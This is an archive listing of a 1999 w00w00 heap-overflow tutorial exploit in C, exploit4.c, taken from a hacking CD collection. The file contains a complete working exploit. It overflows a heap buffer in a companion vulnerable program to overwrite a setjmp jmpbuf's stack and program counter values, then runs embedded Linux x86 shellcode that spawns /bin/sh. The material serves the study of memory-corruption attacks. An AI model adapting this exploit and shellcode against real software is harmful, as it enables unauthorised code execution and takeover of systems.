home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / w00w00 / heaptut / examples / vulpkgs / vulpkg4 / exploit4.c next >
Encoding:
C/C++ Source or Header  |  1999-01-09  |  2.7 KB  |  101 lines

  1. /* 
  2.  * Copyright (C) January 1999, Matt Conover & w00w00 Security Development
  3.  *
  4.  * Demonstrates a method of overwriting jmpbuf's (setjmp/longjmp)
  5.  * to emulate a stack overflow in the heap.  By that I mean,
  6.  * you would overflow the sp/pc of the jmpbuf.  When longjmp() is
  7.  * called, it will execute the next instruction at that address.
  8.  * Therefore, we can stick shellcode at this address (as the data/heap
  9.  * section on most systems is executable) and it will be executed.
  10.  *
  11.  * This takes two arguments (offsets):
  12.  *   arg 1 - stack offset (should be about 25-45).
  13.  *   arg 2 - argv offset (should be about 310-330).
  14.  */
  15.  
  16. #include <stdio.h>
  17. #include <stdlib.h>
  18. #include <unistd.h>
  19. #include <string.h>
  20.  
  21. #define ERROR -1
  22. #define BUFSIZE 16
  23.  
  24. #define VULPROG "./vulprog4"
  25.  
  26. char shellcode[] = /* just aleph1's old shellcode (linux x86) */
  27.    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0"
  28.    "\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8"
  29.    "\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
  30.  
  31. u_long getesp()
  32. {
  33.    __asm__("movl %esp,%eax"); /* the return value goes in %eax */
  34. }
  35.  
  36. int main(int argc, char **argv)
  37. {
  38.    int stackaddr, argvaddr;
  39.    register int index, i, j;
  40.  
  41.    char buf[BUFSIZE + 24 + 1];
  42.  
  43.    if (argc <= 1)
  44.    {
  45.       fprintf(stderr, "Usage: %s <stack offset> <argv offset>\n",
  46.               argv[0]);
  47.  
  48.       fprintf(stderr, "[stack offset = offset to stack of vulprog\n");
  49.       fprintf(stderr, "[argv offset = offset to argv[2]]\n");
  50.  
  51.       exit(ERROR);
  52.    }
  53.  
  54.    stackaddr = getesp() - atoi(argv[1]);
  55.    argvaddr = getesp() + atoi(argv[2]);
  56.  
  57.    printf("trying address 0x%lx for argv[2]\n", argvaddr);
  58.    printf("trying address 0x%lx for sp\n\n", stackaddr);
  59.  
  60.    /* 
  61.     * The second memset() is needed, because otherwise some values 
  62.     * will be (null) and the longjmp() won't do our shellcode.
  63.     */
  64.  
  65.    memset(buf, 'A', BUFSIZE), memset(buf + BUFSIZE + 4, 0x1, 12); 
  66.    buf[BUFSIZE+24] = '\0';
  67.  
  68.    /* ------------------------------------- */
  69.     
  70.    /*
  71.     * We need the stack pointer, because to set pc to our shellcode 
  72.     * address, we have to overwrite the stack pointer for jmpbuf.
  73.     * Therefore, we'll rewrite it with the real address again.
  74.     */
  75.  
  76.    for (i = 0; i < sizeof(u_long); i++) /* setup BP */
  77.    {
  78.       index = BUFSIZE + 16 + i;
  79.       buf[index] = (stackaddr >> (i * 8)) & 255;
  80.    }
  81.  
  82.    /* ----------------------------- */
  83.  
  84.    for (i = 0; i < sizeof(u_long); i++) /* setup SP */
  85.    {
  86.       index = BUFSIZE + 20 + i;
  87.       buf[index] = (stackaddr >> (i * 8)) & 255;
  88.    }
  89.  
  90.    /* ----------------------------- */
  91.  
  92.    for (i = 0; i < sizeof(u_long); i++) /* setup PC */
  93.    {
  94.       index = BUFSIZE + 24 + i;
  95.       buf[index] = (argvaddr >> (i * 8)) & 255;
  96.    }
  97.  
  98.    execl(VULPROG, VULPROG, buf, shellcode, NULL);
  99.    return 0;
  100. }
  101.